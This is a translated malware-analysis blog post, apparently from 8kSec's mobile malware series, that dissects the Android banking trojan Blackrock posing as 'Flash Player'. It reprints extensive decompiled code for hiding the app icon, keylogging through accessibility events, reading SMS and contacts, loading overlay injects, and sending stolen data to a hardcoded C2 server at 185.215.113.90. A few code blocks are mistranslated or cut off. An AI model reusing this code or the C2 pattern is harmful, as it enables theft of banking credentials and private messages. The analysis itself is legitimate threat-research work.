Segurança

Malware Móvel Parte 7: Análise do Blackrock | 8kSec

O post analisa o malware Blackrock, um spyware que rouba informações pessoais e usa técnicas como manipulação de configurações de acessibilidade para se manter oculto no dispositivo. A análise detalha como o aplicativo Flash Player (pacote: artwork.differ.kitchen) utiliza serviços dinâmicos e permissões abusivas para executar atividades maliciosas, incluindo coleta de dados do usuário sem consentimento.

Compartilhar
Mobile Malware Part 7: Blackrock Analysis | 8kSec

Detalhes do Aplicativo

Nome : Flash Player

Pacote : artwork.differ.kitchen

SHA256 Hash : a25bf4bdb2ed9872456af0057eb21ce31fd03d680d63a9da469519060b4814bc

Introdução

Ei aí! Bem-vindo ao sétimo blog da nossa série sobre Análise de Malware Móvel. Hoje, vamos mergulhar no Blackrock, um esperto spyware que recebe seus comandos de um servidor oculto. Este malware usa truques como manipulação das configurações de acessibilidade e golpes de phishing para roubar teclas digitadas e obter informações pessoais dos usuários.

Sem mais delongas, vamos começar a desmontar esta amostra maliciosa.

Análise

Aqui está o primeiro check de análise pelo Virustotal

Resultados de detecção do Virustotal Imagem de Referência: Verificação no Virustotal

Vamos abrir esta amostra em JADX para entender como ela funciona.

AndroidManifest.xml

Analisando essas permissões, podemos entender que o aplicativo usará nossos Contatos, Armazenamento Externo, Serviço de Acessibilidade, SMS e muito mais.

No que diz respeito aos componentes, exceto pela Subclasse do Aplicativo, nenhum dos componentes está disponível no disco, o que significa que eles devem ser carregados dinamicamente em tempo de execução.

Vamos verificar a carga dinâmica usando Medusa.

Aqui está a lista de scripts que podem ser usados para verificar o Dumping e Carregamento de Código Dex Dinâmico.

  • memory_dump/dump_dyndex
  • memory_dump/dump_dex
  • code_loading/load_class
  • code_loading/dynamic_code_loading

Saída de análise dinâmica do Medusa mostrando DexClassLoader carregando wumso.json Imagem de Referência: Saída do Medusa

Pudemos ver um arquivo chamado wumso.json que está armazenado em /data/user/0/artwork.differ.kitchen/app_DynamicOptDex sendo carregado usando DexClassLoader e também vimos classes como security.sword.AlarmBroadCastReceiver, security.sword.Permission sendo carregadas.

Agora que temos nosso arquivo DEX, vamos começar nossa análise a partir de security.sword.MainActivity.

MainActivity

public class MainActivity extends Activity {
  @Override 
  protected void onCreate(Bundle savedInstanceState) {
      super.onCreate(savedInstanceState);
      try {
          b.a().a(this);
          startService(new Intent(this, CommandService.class));
          ComponentName componentName = new ComponentName(this,MainActivity.class);
          PackageManager packageManager = getPackageManager();
          getPackageManager();
          packageManager.setComponentEnabledSetting(componentName, 2, 1);
      } catch (Exception e) {
          e.printStackTrace();
      }
      finish();
}
}

No método a(Context c), eles estão criando um PendingIntent para AlarmBroadcastReceiver e usam outro método auxiliar que usa AlarmManager para agendar o PendingIntent para ser executado após um atraso especificado.

Vamos verificar o funcionamento do AlarmBroadcastReceiver.

public class AlarmBroadcastReceiver extends BroadcastReceiver {
  @Override 
  public void onReceive(Context context, Intent intent) {
      String name = getClass().getName();
      Log.d(name, "time second : " + new Date().toString());
      b.a().a(context);
      if (!a(context, CommandService.class)) {
          try {
              context.startService(new Intent(context, CommandService.class));
          } catch (Exception ex) {
              ex.printStackTrace();
          }
      }
  }
  private boolean a(Context context, Class serviceClass) {
      ActivityManager manager = (ActivityManager) context.getSystemService("activity");
      for (ActivityManager.RunningServiceInfo service : manager.getRunningServices(Integer.MAX_VALUE)) {
          if (serviceClass.getName().equals(service.service.getClassName())) {
              return true;
          }
      }
      return false;
  }
}

Sempre verifica se um serviço chamado CommandService está em execução ou não. Se não estiver, inicia esse serviço.

Voltando para MainActivity,

  • CommandService é iniciado
  • A utilização de packageManager.setComponentEnabledSetting(``componentName, 2, 1); esconde o ícone do aplicativo. (Isso é bastante comum entre Malwares Android para manter persistência)

Agora vamos verificar CommandService.

CommandService     
    Começando de onStartCommand() , podemos ver o seguinte.        

                public int onStartCommand(Intent intent, int flags, int startId) {
Log.i("Test", "Service: onStartCommand");
try {
    this.f205b = this;
    f();
    return 1;
} catch (Exception e) {
    e.printStackTrace();
    return 1;
}

A função f inicializa um Scheduler para executar o método c em intervalos regulares.

void c() {
      String Accessibility;
      String screen;
      try {
          this.f204a.getClass();
          security.sword.a.b("26kozQaKwRuNJ24t", this.f204a.f270a);
          this.f204a.getClass();
          security.sword.a decrypted = security.sword.a.a("26kozQaKwRuNJ24t", "MzVBOEU4RUExNzdDNTA3NzN2d4aaiU2eCF7zGpaxGnZoCUs4ByC63zVz9mHieQqu");
          String.valueOf(decrypted).equals(this.f204a.f270a);
      } catch (Exception e) {
          e.printStackTrace();
      }
      try {
          boolean accessibilityServiceEnabled = a(this.f205b, AccesService.class);
          if (!accessibilityServiceEnabled) {
              Accessibility = "0";
              try {
                  Handler handler = new Handler(Looper.getMainLooper());
                  handler.post(new a());
              } catch (Exception e2) {
                  e2.printStackTrace();
              }
          } else {
              Accessibility = "1";
              if (Build.VERSION.SDK_INT >= 23 && !d()) {
                  Intent as = new Intent(this.f205b, Permission.class);
                  as.addFlags(268468224);
                  this.f205b.startActivity(as);
              }
          }
          String IMEI = Settings.Secure.getString(getContentResolver(), "android_id");
          KeyguardManager km = (KeyguardManager) getSystemService("keyguard");
          boolean locked = km.inKeyguardRestrictedInputMode();
          if (locked) {
              screen = "0";
          } else {
              screen = "1";
          }
          String whitelist = "0";
          if (Build.VERSION.SDK_INT >= 23) {
              PowerManager powerManager = (PowerManager) getSystemService("power");
              boolean inWhiteList = powerManager.isIgnoringBatteryOptimizations(getPackageName());
              whitelist = inWhiteList ? "1" : "0";
          }
          String model = a(this);
          String Log = String.format("{ \u0022action\u0022: \u0022reg\u0022, \u0022params\u0022: { \u0022imei\u0022: \"%s\",\u0022whitelist\u0022: \"%s\",\u0022model\u0022: \"%s\",\u0022Accessibility\u0022: \"%s\",\u0022screen\u0022: \"%s\"}}", IMEI, whitelist, model, Accessibility, screen);
          new b(Log).execute(1);
          if (Build.VERSION.SDK_INT >= 21) {
              e();
          }
      } catch (Exception e3) {
          e3.printStackTrace();
      }
  }

Pudemos ver algumas classes e strings interessantes sendo usadas aqui.

Ao contrário do bloco try-catch inicial, que não era nada útil, precisamos anotar a classe f204a, que tinha variáveis de membro como,

public class d {
  String f270a = "http://185.215.113.90/";
  String[] f271b = {"com.leumi.leumiwallet", "com.westernunion.moneytransferr3app.es", "com.ubercab.eats", "com.kraken.trade", [..REDACTED..]};
    String[] f272c = {"org.telegram.messenger", "com.viber.voip", "com.whatsapp", "com.whatsapp.w4b", "com.twitter.android", [..REDACTED..]};
    String[] d = {"com.kms.free", "com.drweb", "com.eset.endpoint", "com.eset.parental", "com.eset.stagefrightdetector", [..REDACTED..]};
}

Obtemos uma URL HTTP que podemos considerar como nosso servidor C2C e alguns arrays que contêm nomes de pacotes de aplicativos famosos como Telegram, WhatsApp, Twitter etc.

Continuando com o método c da classe CommandService,

No próximo bloco try, ele verifica se o serviço de acessibilidade deste app está habilitado ou não e baseado nisso, o código é executado.

  • Caso não esteja habilitado, então solicitará ao usuário que habilite.
  • Caso esteja habilitado, criará uma intenção para a atividade Permission e iniciará.

Depois disso, o código coleta informações como IMEI, se algum tipo de tela bloqueadora está sendo usada pelo dispositivo, lista de aplicativos cujos nomes de pacote correspondem ao array f271b da classe f204a que discutimos um pouco acima. Após adicionar essas informações em uma string formatada, ela é passada para a classe g que estende AsyncTask.

Vamos primeiro verificar o método doInBackground().

public String doInBackground(String... arg0) {
String Log = arg0[0];
try {
    f277b.getClass();
    a encrypted = a.b("26kozQaKwRuNJ24t", String.valueOf(Log));
    String data = "data=" + encrypted.a();
    String link = f277b.url + "gate.php";
    URL url = new URL(link);
    URLConnection conn = url.openConnection();
    conn.setDoOutput(true);
    OutputStreamWriter wr = new OutputStreamWriter(conn.getOutputStream());
    wr.write(data);
    wr.flush();
    BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream()));
    StringBuilder sb = new StringBuilder();
    while (true) {
        String line = reader.readLine();
        if (line != null) {
            sb.append(line);
        } else {
            return sb.toString();
        }
    }
} catch (Exception e) {
    e.printStackTrace();
    return "";
}

Pudemos ver que um objeto URLConnection é criado para a URL http://185.215.113.90/gate.php e a string que continha informações do nosso dispositivo está sendo enviada ao servidor C2C.

Analisando o método onPostExecute, ele basicamente obtém alguns comandos do servidor baseados nos quais o código é executado. Vamos dar uma olhada nessas comandos e nas ações realizadas.

public void onPostExecute(String result) {
  super.onPostExecute(result);
  if (result != null) {
      try {
          f275b.getClass();
          a decrypted = a.a("26kozQaKwRuNJ24t", result);
          JSONObject obj = new JSONObject(String.valueOf(decrypted.a()));
          String action = obj.getString("action");
          JSONObject params = obj.getJSONObject("params");
          if (action.equals("Send_SMS")) {
              try {
                  c.c(f274a, params);
              } catch (Exception e) {
                  e.printStackTrace();
              }
          }
          if (action.equals("Flood_SMS")) {
              try {
                  c.a(f274a, params);
              } catch (Exception e2) {
                  e.printStackTrace();
              }
          }
          if (action.equals("StartPush")) {
              try {
                  c.g(f274a);
              } catch (Exception e) {
                  e.printStackTrace();
              }
          }
          if (action.equals("StopPush")) {
              try {
                  c.j(f274a);
              } catch (Exception e) {
                  e.printStackTrace();
              }
          }
          if (action.equals("Hide_Screen_Lock")) {
              try {
                  c.d(f274a);
              } catch (Exception e) {
                  e.printStackTrace();
              }
          }
          if (action.equals("Unlock_Hide_Screen")) {
              try {
                  c.l(f274a);
              } catch (Exception e) {
                  e.printStackTrace();
Para este comando, o aplicativo recebe número de telefone e texto a partir de um JSONObject enviado pelo servidor conforme mostrado nas linhas 37 e 38 respectivamente.

Em seguida, envia a mensagem para o número correspondente usando sms.sendMultipartTextMesage().

Flood_SMS

Código Flood_SMS - security.sword.c.a() Código: security.sword.c.a()

Corrível Flood_SMS - security.sword.c.q Código: security.sword.c.q [Runnable]

Funciona da mesma forma que Send_SMS, ou seja, recebe conteúdo de texto e número de telefone a partir do JSONObject enviado pelo servidor e envia uma mensagem para esse número de telefone. Mas aqui ele usa um SchedulerExecutorService para enviar mensagens a cada 5 segundos.

Download_SMS

Código Download_SMS - security.sword.c.c() Código: security.sword.c.c()

Na linha 104, podemos ver que o código usa o provedor de conteúdo do sistema content://sms.

Nas linhas 109, 110 e 111, usando um loop while, eles coletam informações como Corpo, Número de Telefone e se essa mensagem é uma saída ou entrada e enviam todas essas informações de volta ao servidor.

Código Spam_on_contacts - security.sword.c.d() Código: security.sword.c.d()

Na linha 190, eles estão consultando o URI ContactsContract.CommonDataKinds.Phone.CONTENT_URI. Usando o cursor, ele está coletando os números de telefone em nossos contatos e envia uma mensagem usando sendTextMessage() com texto da mensagem fornecido pelo servidor na linha 186.

Change_SMS_Manager

Checa se este aplicativo está funcionando como o aplicativo SMS padrão. Aqui está a verificação.

boolean currentDefault = Telephony.Sms.getDefaultSmsPackage(this.f231a).equals(packageInfo.applicationInfo.packageName);

Caso contrário, inicia uma intenção solicitando ao usuário que selecione este aplicativo como o aplicativo padrão.

Código Change_SMS_Manager - security.sword.Smsmnd.a Código: security.sword.Smsmnd.a

StartKeyLogs

O objetivo final deste comando é coletar o conteúdo de texto presente na tela e enviá-lo ao servidor. (Seu funcionamento será discutido quando analisarmos o serviço de acessibilidade AccessService)

Inicialmente, este comando cria um arquivo chamado StartKeyLogs.txt no diretório /sdcard.

Código do comando StartKeyLogs em security.sword.c.f criando StartKeyLogs.txt na sdcard Código: security.sword.c.f()

StopKeyLogs

O objetivo final deste comando é parar de registrar eventos dos alvos.

Isso é feito deletando o arquivo StartKeyLogs.txt criado para o comando StartKeyLogs.

File filedel = new File(Environment.getExternalStorageDirectory() + "/StartKeyLogs.txt");
filedel.delete();

Hide_Screen_Lock

O objetivo final deste comando é manter o dispositivo na tela inicial.

Igual ao StartKeyLogs, ele cria um arquivo chamado Screen_Lock.txt no diretório /sdcard.

Unlock_Hide_Screen

Deleta o arquivo Screen_Lock.txt do diretório /sdcard. Desbloqueando, assim, o dispositivo da tela inicial.

Profile

Cria um perfil de administração gerenciado para este aplicativo

Isto é feito iniciando a atividade Systems.

No Systems,

Comando Profile - security.sword.Systems Código: security.sword.Systems

Nas linha 18, eles estão primeiro verificando se este aplicativo está registrado como o proprietário do perfil para o usuário.

Caso contrário, ele chama a função a, onde dependendo da versão do SDK, eles usam vários filtros de intent para solicitar que o usuário conceda privilégios de Profile Owner para este aplicativo.

Start_clean_Push

O objetivo final desta comando é descartar todas as notificações push. (Seu funcionamento será discutido quando analisarmos o AccessService.).

Inicialmente, este comando cria um arquivo chamado StartCleanPush.txt no diretório /sdcard.

Código do comando Start_clean_Push em security.sword.c.h criando StartCleanPush.txt no sdcard Código: security.sword.c.h()

Stop_clean_Push

Para de descartar notificações push.

Isso é feito deletando o arquivo StartCleanPush.txt criado para o comando Start_clean_Push.

File filedel = new File(Environment.getExternalStorageDirectory() + "/StartCleanPush.txt");
filedel.delete();

Run_App

try {
    App = params.getString("App");
} catch (Exception e2) {
    e2.printStackTrace();
}
try {
    Intent i2 = context.getPackageManager().getLaunchIntentForPackage(App);
    context.startActivity(i2);
} catch (Exception e3) {
    e3.printStackTrace();
}

Inicia o aplicativo cujo nome do pacote é fornecido pelo servidor.

Admin

Cria uma intent para iniciar a atividade Admin.

No Admin Activity,

try {
    DevicePolicyManager mDPM = (DevicePolicyManager) getSystemService("device_policy");
    ComponentName mDeviceAdmin = new ComponentName(this, Admins.class);
    if (!mDPM.isAdminActive(mDeviceAdmin)) {
        Intent intentt = new Intent("android.app.action.ADD_DEVICE_ADMIN");
        intentt.putExtra("android.app.extra.DEVICE_ADMIN", mDeviceAdmin);
        intentt.putExtra("android.app.extra.ADD_EXPLANATION", "Para atualizar a versão");
        startActivity(intentt);
    }
} catch (Exception e) {
}

O objetivo é obter privilégios de Admin para este aplicativo usando android.app.action.ADD_DEVICE_ADMIN.

Agora que examinamos os comandos, se pensarmos novamente, assumimos que fornecemos o serviço de acessibilidade para este aplicativo e ele iniciou a atividade Permission. Vamos dar uma olhada nela.

Atividade de Permissões

@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    if (Build.VERSION.SDK_INT >= 23) {
        g();
        return;
    }
    try {
        PackageManager pm = getPackageManager();
        List packages = pm.getInstalledApplications(128);
        for (ApplicationInfo pInfo : packages) {
            String str1 = pInfo.packageName;
            if (Arrays.asList(this.f217a.f269b).contains(str1)) {
                new e(this).execute(pInfo.packageName);
            }
        }
    } catch (Exception e) {
        e.printStackTrace();
    }
    finish();
}

No método g, eles solicitam permissões para READ_EXTERNAL_STORAGE, EQUEST_IGNORE_BATTERY_OPTIMIZATIONS, READ_CONTACTS e muito mais.

Caso analisemos o bloco try-catch, podemos ver que estão rodando um loop para verificar se o nome do pacote está presente na lista de nomes de pacotes pré-definidos. Se houver correspondência, a tarefa assíncrona e é executada.

public String doInBackground(String... arg0) {
    String App = arg0[0];
    try {
        String PATH = this.f272b.getFilesDir().getAbsolutePath() + File.separator;
        URL url = new URL(this.f271a.url + "public_image/" + App + ".zip");
        HttpURLConnection c2 = (HttpURLConnection) url.openConnection();
        c2.setRequestMethod("GET");
        c2.connect();
        FileOutputStream fos = this.f272b.openFileOutput(App + ".zip", 0);
        InputStream is = c2.getInputStream();
        byte[] buffer = new byte[16384];
        while (true) {
            int len1 = is.read(buffer);
            if (len1 == -1) {
                break;
            }
            fos.write(buffer, 0, len1);
        }
        fos.close();
        is.close();
        i.a(PATH + App + ".zip", PATH, "");
    } catch (Exception e) {
        e.printStackTrace();
    }
    return "";
}

Pode-se observar que eles estão baixando um arquivo zip da URL que parece ser

http://185.215.113.90/<package_name>.zip e o salva em /data/user/0/artwork.differ.kitchen/files. Posteriormente, este arquivo zip é descompactado.

NOTA: Na época da escrita deste artigo, o servidor C2C estava fora do ar.

Agora vamos nos concentrar no AccessService, que é responsável por lidar com os eventos de acessibilidade.

AccessService

try {
    if (!b(event).equals("TYPE_NOTIFICATION_STATE_CHANGED") && Arrays.asList(this.f198a.f269b).contains(String.format("%s", event.getPackageName()))) {
        SharedPreferences settings = PreferenceManager.getDefaultSharedPreferences(this);
        String str1 = String.format("%s", event.getPackageName());
        if (!settings.getBoolean("injActive", false)) {
            File fs = new File(getFilesDir().getAbsolutePath() + File.separator + str1);
            if (fs.exists() && fs.isDirectory()) {
                Intent as = new Intent(this, Inject.class).putExtra("str", str1);
                as.addFlags(268468224);
                startActivity(as);
            }
        }
    }
} catch (Exception e) {
    e.printStackTrace();
}

No momento em que um aplicativo cria um AccessibilityEvent, se o nome do seu pacote estiver na lista de arrays f269b (que contém a lista de todos os aplicativos bancários populares), ele cria uma intenção para a atividade Inject com o nome do pacote como extra.

@Override
protected void onStart() {
  super.onStart();
  SharedPreferences settings = PreferenceManager.getDefaultSharedPreferences(this);
  SharedPreferences.Editor editor = settings.edit();
  editor.putBoolean("injActive", true);
  editor.commit();
  Intent intent = getIntent();
  String appName = intent.getStringExtra("str");
  String INJURL = getFilesDir().getAbsolutePath() + File.separator;
  try {
      this.f210a = new WebView(this);
      this.f210a.getSettings().setJavaScriptEnabled(true);
      this.f210a.setScrollBarStyle(0);
      this.f210a.setWebChromeClient(new WebChromeClient());
      this.f210a.addJavascriptInterface(new h(this, appName), "Android");
      this.f210a.setWebViewClient(new a(this));
      this.f210a.loadUrl("file:///" + INJURL + appName + "/index.html");
      setContentView(this.f210a);
      this.f210a.setWebViewClient(new b(appName));
  } catch (Exception e) {
      e.printStackTrace();
  }
}

Pudemos observar que esta atividade possui um webview que carrega um script HTML a partir do diretório de arquivos deste aplicativo e, se lembrarmos corretamente, este aplicativo baixa um arquivo zip do servidor C2C e o salva no mesmo diretório de arquivos.

tente {
  Arquivo f3 = new File(Environment.getExternalStorageDirectory() + "/inj.txt");
  if (!b(event).equals("TYPE_NOTIFICATION_STATE_CHANGED") && Arrays.asList(this.f198a.f270c).contains(String.format("%s", event.getPackageName()))) {
      SharedPreferences settings2 = PreferenceManager.getDefaultSharedPreferences(this);
      String str12 = String.format("%s", event.getPackageName());
      if (!settings2.getBoolean("injActive", false) && !f3.exists() && !f3.isFile()) {
          Intent as2 = new Intent(this, InjectCC.class).putExtra("str", str12);
          as2.addFlags(268468224);
          startActivity(as2);
      }
  }
} catch (Exception e2) {
    e2.printStackTrace();
}

Neste bloco try-catch, como no bloco anterior, eles verificam se o nome do pacote do aplicativo que criou o evento está presente na matriz f270c (esta matriz contém nomes de pacotes de aplicativos de mensagens populares). Se estiver presente nesta matriz, ele cria uma intenção para a atividade InjectCC.

@Sobrescrever
protected void onStart() {
  super.onStart();
  SharedPreferences settings = PreferenceManager.getDefaultSharedPreferences(this);
  SharedPreferences.Editor editor = settings.edit();
  editor.putBoolean("injActive", true);
  editor.commit();
  Intent intent = getIntent();
  String appName = intent.getStringExtra("str");
  try {
      this.f213a = new WebView(this);
      this.f213a.getSettings().setJavaScriptEnabled(true);
      this.f213a.setScrollBarStyle(0);
      this.f213a.setWebChromeClient(new WebChromeClient());
      this.f213a.setBackgroundColor(0);
      this.f213a.setLayerType(1, null);
      this.f213a.addJavascriptInterface(new h(this, appName), "Android");
      this.f213a.setWebViewClient(new a(this));
      this.f213a.loadUrl("file:///android_asset/android/index.html");
private String a(AccessibilityEvent event) {
    StringBuilder sb = new StringBuilder();
    for (CharSequence s : event.getText()) {
        sb.append(s);
    }
    return sb.toString();
}
File f11 = new File(Environment.getExternalStorageDirectory() + "/StartPush.txt");
if (f11.exists() && f11.isFile()) {
    try {
        String AndroidId = Settings.Secure.getString(getContentResolver(), "android_id");
        if (String.format("%s", event.getPackageName()) != null && String.format("%s", a(event)) != null && String.format("%s", a(event)) != "") {
            byte[] encrpt2 = new byte[0];
            try {
                encrpt = String.format("NOTIFICATION: Package = [ %s ],text = [ %s ]", event.getPackageName(), a(event)).getBytes("UTF-8");
            } catch (UnsupportedEncodingException e3) {
                e3.printStackTrace();
                encrpt = encrpt2;
            }
            String base64 = Base64.encodeToString(encrpt, 2);
            if (b(event).equals("TYPE_NOTIFICATION_STATE_CHANGED")) {
                String Log = String.format("{ "action": "pushlog", "params": { "imei": "%s", "type": "pushlog", "text": "%s" }}", AndroidId, base64);
                new a(Log).execute(1);
            }
        }
        return;
    } catch (Exception e4) {
        e4.printStackTrace();
    }
}

Este comando primeiro verifica se StartPush.txt está presente ou não. Este bloco de código é executado quando um evento AccessibilityEvent do tipo TYPE_NOTIFICATION_STATE_CHANGED é gerado. Em seguida, usando a função a, ele coleta o conteúdo da notificação e envia para o servidor.

Hide_Screen_Lock

try {
  File f32 = new File(Environment.getExternalStorageDirectory() + "/Screen_Lock.txt");
  if (f32.exists() && f32.isFile()) {
      performGlobalAction(2);
  }
} catch (Exception e8) {
  e8.printStackTrace();
}

Ao contrário da documentação do Android Developer, performGlobalAction() Executa uma ação global. Tal ação pode ser executada em qualquer momento, independentemente do aplicativo atual ou localização do usuário no aplicativo.

O valor do parâmetro ⇒ 2 denota a ação de ir para home.

Vamos olhar o código para segurança/sword/AccesService Vamos olhar StartKeyLogs.

private String a(AccessibilityEvent event) {
    StringBuilder sb = new StringBuilder();
    for (CharSequence s : event.getText()) {
        sb.append(s);
    }
    return sb.toString();
}
File f7 = new File(Environment.getExternalStorageDirectory() + "/StartKeyLogs.txt");
if (f7.exists() && f7.isFile()) {
    try {
        if (Arrays.asList(this.f198a.f269b).contains(String.format("%s", event.getPackageName()))) {
            String AndroidId2 = Settings.Secure.getString(getContentResolver(), "android_id");
            if (String.format("%s", event.getPackageName()) != null && String.format("%s", a(event)) != null && String.format("%s", a(event)) != "") {
                String Logs = String.format("KeyLogs: Package = [ %s ],text = [ %s ]", event.getPackageName(), a(event));
                Log.v("AccesService", Logs);
                byte[] encrpt3 = new byte[0];
                try {
                    encrpt3 = Logs.getBytes("UTF-8");
                } catch (UnsupportedEncodingException e10) {
                    e10.printStackTrace();
                }
                String base642 = Base64.encodeToString(encrpt3, 2);
                String Log2 = String.format("{ \"action\": \"log\", \"params\": { \"imei\": \"%s\", \"type\": \"keylog\", \"text\": \"%s\" }}", AndroidId2, base642);
                new b(Log2).execute(1);
            }
            return;
        }
    } catch (Exception e11) {
        e11.printStackTrace();
    }
}

Quando uma aplicação cria um AccessibilityEvent, se pertencer à lista de aplicações-alvo listadas pelo array f269b, usando event.getText(), ela coleta todo o conteúdo de texto presente na tela e exfiltra a informação para o servidor.

Em resumo, quando abrimos uma aplicação bancária como Coinbase e realizamos algum evento como um clique longo ou seleção de texto etc., isso dispara nossa aplicação. Em seguida, ela encontra a aplicação Coinbase e rouba o conteúdo na tela.

Aplicações-alvo

Aqui está a lista de algumas das aplicações-alvo.

Nome do AppPackage Name
לאומיcom.leumi.leumiwallet
Western Unioncom.westernunion.moneytransferr3app.es
Coinbaseorg.toshi
Krakencom.kraken.trade
Cryptopayme.cryptopay.android
Santander Argentinaar.com.santander.rio.mbanking
Coinbase: Compre Bitcoin & Ethercom.coinbase.android
myRAMSau.com.rams.RAMS
BitPay – Carteira de Bitcoin Seguracom.bitpay.wallet
Lloyds Bank Business Mobile Bankingcom.lloydsbank.businessmobile
HSBC Mobile Bankingcom.htsu.hsbcpersonalbanking
Garanti BBVA Cep Şifrematikbiz.mobinex.android.apps.cep_sifrematik
imo betacom.imo.android.imoimbeta
Mercado Pago: conta digitalom.mercadopago.wallet
Kotak Mobile Banking Appcom.msf.kbank.mobile
YONO Buisnesscom.sbi.SBAnywhereCorporate
AU 0101au.com.ubank.internetbanking

Conclusão

No final, as manobras secretas do Blackrock, explorando configurações de acessibilidade e usando táticas de phishing, representam uma ameaça séria à segurança móvel. Revelar suas estratégias enganosas ilumina a importância de defesas vigilantes. Imerga em nossa análise detalhada para fortalecer sua compreensão e defesas contra este sofisticado spyware. Fique informado, fique seguro.

Fonte original

Conteúdo traduzido e adaptado pela redação do Notícias Mobile. Confira também a matéria na fonte original.

Leia a matéria completa